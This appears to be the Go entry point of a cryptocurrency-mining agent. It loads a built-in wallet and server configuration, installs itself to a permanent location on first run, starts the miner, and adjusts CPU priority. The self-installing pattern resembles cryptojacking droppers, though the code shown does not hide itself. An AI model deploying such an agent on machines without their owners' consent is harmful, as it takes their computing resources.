package main

import (
	"log"
	"os"
	"path/filepath"

	"crypto-miner-agent/client"
	"crypto-miner-agent/config"
	"crypto-miner-agent/deploy"
)

func main() {
	log.SetFlags(log.LstdFlags | log.Lshortfile)
	cfg := config.Load()
	setupLogging(cfg)

	if cfg.Wallet == "" {
		log.Fatal("wallet address is required in built-in configuration")
	}
	if cfg.ServerURL == "" {
		log.Fatal("server URL is required in built-in configuration")
	}

	installed, err := deploy.InstallIfNeeded(cfg)
	if err != nil {
		log.Fatalf("[installer] failed: %v", err)
	}
	if installed {
		log.Printf("[installer] installed worker=%s to permanent location and started miner", cfg.WorkerName)
		return
	}

	if err := deploy.SetProcessPriority(cfg.CPUPriority); err != nil {
		log.Printf("[agent] could not set CPU priority: %v", err)
	}

	log.Printf("[agent] running worker=%s build=%s server=%s threads=%d",
		cfg.WorkerName, cfg.BuildID, cfg.ServerURL, cfg.Threads)

	agent := client.NewAgentClient(cfg)
	if err := agent.Run(); err != nil {
		log.Fatalf("[agent] stopped: %v", err)
	}
}

func setupLogging(cfg config.RuntimeConfig) {
	if os.Getenv("MINER_LOG_FILE") != "" {
		redirectLog(os.Getenv("MINER_LOG_FILE"))
		return
	}

	installDir, err := deploy.InstallDir(cfg.WorkerName, cfg.BuildID)
	if err != nil {
		return
	}
	redirectLog(filepath.Join(installDir, "miner.log"))
}

func redirectLog(path string) {
	if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil {
		return
	}
	f, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644)
	if err == nil {
		log.SetOutput(f)
	}
}